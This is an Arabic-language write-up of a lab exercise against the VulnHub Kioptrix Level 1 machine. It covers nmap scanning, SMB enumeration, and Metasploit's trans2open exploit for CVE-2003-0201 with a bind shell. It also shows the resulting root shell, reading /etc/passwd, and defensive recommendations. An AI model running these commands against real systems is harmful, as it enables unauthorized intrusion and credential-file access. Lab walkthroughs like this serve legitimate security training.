pentest-writeups

شرح اختراق Kioptrix Level 1 - CVE-2003-0201 Samba trans2open

Kioptrix Level 1 — شرح اختبار الاختراق

المؤلف: Amirbek Raxmatullayev (@americo_444)
التاريخ: 2026-06-17
المنصة: VulnHub
الصعوبة: مبتدئ
الهدف: الحصول على صلاحيات الجذر (root)

1. إعداد البيئة

ملاحظة: لم يكن VirtualBox متوافقًا مع النواة 7.0.0-22-generic بسبب تعارض في مساحة أسماء KVM مع DKMS. تم التبديل إلى QEMU/KVM وتحميل ملف VMDK مباشرة دون تحويل.

qemu-system-x86_64 \
  -m 512 \
  -drive file="Kioptix Level 1.vmdk",format=vmdk \
  -netdev bridge,id=net0,br=virbr0 \
  -device e1000,netdev=net0 \
  -display gtk

2. الاستطلاع

2.1 اكتشاف المضيف

nmap -sn 192.168.56.0/24

النتيجة: تم تحديد الهدف على 192.168.56.101

2.2 فحص شامل للمنافذ والخدمات

nmap -sV -sC -p- 192.168.56.101

المنافذ المفتوحة:

2.3 تعداد إصدار SMB

msfconsole -q -x "use auxiliary/scanner/smb/smb_version; \
  set RHOSTS 192.168.56.101; run; exit"

النتيجة: Samba 2.2.1a — تم تأكيد وجود إصدار معرّض لثغرة حرجة.

3. تحليل الثغرة

CVE-2003-0201 — تجاوز سعة المخزن المؤقت في Samba trans2open

الوصف:
تحتوي إصدارات Samba 2.2.x على ثغرة تجاوز سعة مخزن مؤقت قائمة على المكدس (stack-based buffer overflow) في الدالة trans2open. تسمح هذه الثغرة لمهاجم بعيد غير مصادَق بتنفيذ تعليمات برمجية عشوائية بصلاحيات root.

الإصدارات المتأثرة: Samba 2.0.x — 2.2.8
درجة CVSS: 10.0 (حرجة)
وحدة الاستغلال: exploit/linux/samba/trans2open

4. الاستغلال

4.1 إعداد Metasploit

msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.56.101
set LHOST 192.168.56.1
set PAYLOAD linux/x86/shell_bind_tcp
run

لماذا bind_tcp بدلاً من reverse_tcp؟
فشلت حمولة reverse_tcp لأن جهاز Kioptrix الافتراضي لم يتمكن من الوصول عائدًا إلى المهاجم عبر إعداد NAT/bridge. مع bind_tcp، يتصل المهاجم بالهدف مباشرة — دون الحاجة إلى اتصال صادر من الجهاز الضحية.

4.2 مخرجات الاستغلال

[*] Started bind TCP handler against 192.168.56.101:4444
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
...
[*] Command shell session 1 opened (192.168.56.1:36733 -> 192.168.56.101:4444)

تم الحصول على الشل! ✅

5. ما بعد الاستغلال

whoami
# root

id
# uid=0(root) gid=0(root) groups=99(nobody)

hostname
# kioptrix.level1

uname -a
# Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

cat /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# john:x:500:500::/home/john:/bin/bash
# harold:x:501:501::/home/harold:/bin/bash

معلومات النظام:

• نظام التشغيل: Red Hat Linux، النواة 2.4.7 (صُنعت عام 2001)
• المستخدمون المحليون المكتشفون: root، john، harold

6. سلسلة الهجوم

[Attacker: 192.168.56.1]
        |
        | Step 1: nmap full port scan
        v
[Target: 192.168.56.101]
        |
        | Step 2: Samba 2.2.1a identified
        v
[Metasploit — trans2open exploit]
        |
        | Step 3: Stack buffer overflow triggered
        v
[Bind shell opened on port 4444]
        |
        | Step 4: whoami = root
        v
[TARGET PWNED]

7. الدروس المستفادة

ما تعلمته:

• إعداد بيئة مختبر باستخدام QEMU/KVM عندما يفشل VirtualBox
• استكشاف بصمات الخدمات باستخدام nmap -sV -sC
• تعداد SMB باستخدام الوحدات المساعدة في Metasploit
• فهم آلية تجاوز سعة المخزن المؤقت للمكدس في CVE-2003-0201
• الفرق بين حمولتي bind_tcp وreverse_tcp ومتى تستخدم كل منهما

التوصيات الدفاعية (الفريق الأزرق):

1. ترقية Samba إلى الإصدار 3.x أو أحدث
2. تقييد المنفذين 139/445 عبر جدار الحماية — والسماح فقط للمضيفين الداخليين الموثوقين
3. تطبيق جميع تصحيحات نظام التشغيل والخدمات المتاحة
4. تنفيذ تقسيم الشبكة — يجب ألا تتعرض خدمة SMB خارجيًا أبدًا
5. نشر قواعد IDS/IPS لكشف محاولات تجاوز سعة المخزن المؤقت على SMB

8. الأدوات المستخدمة

9. المراجع

• CVE-2003-0201 — NVD
• Rapid7 — trans2open Module
• VulnHub — Kioptrix Level 1

كُتب بواسطة Amirbek Raxmatullayev | BEK Coders Security Research | 2026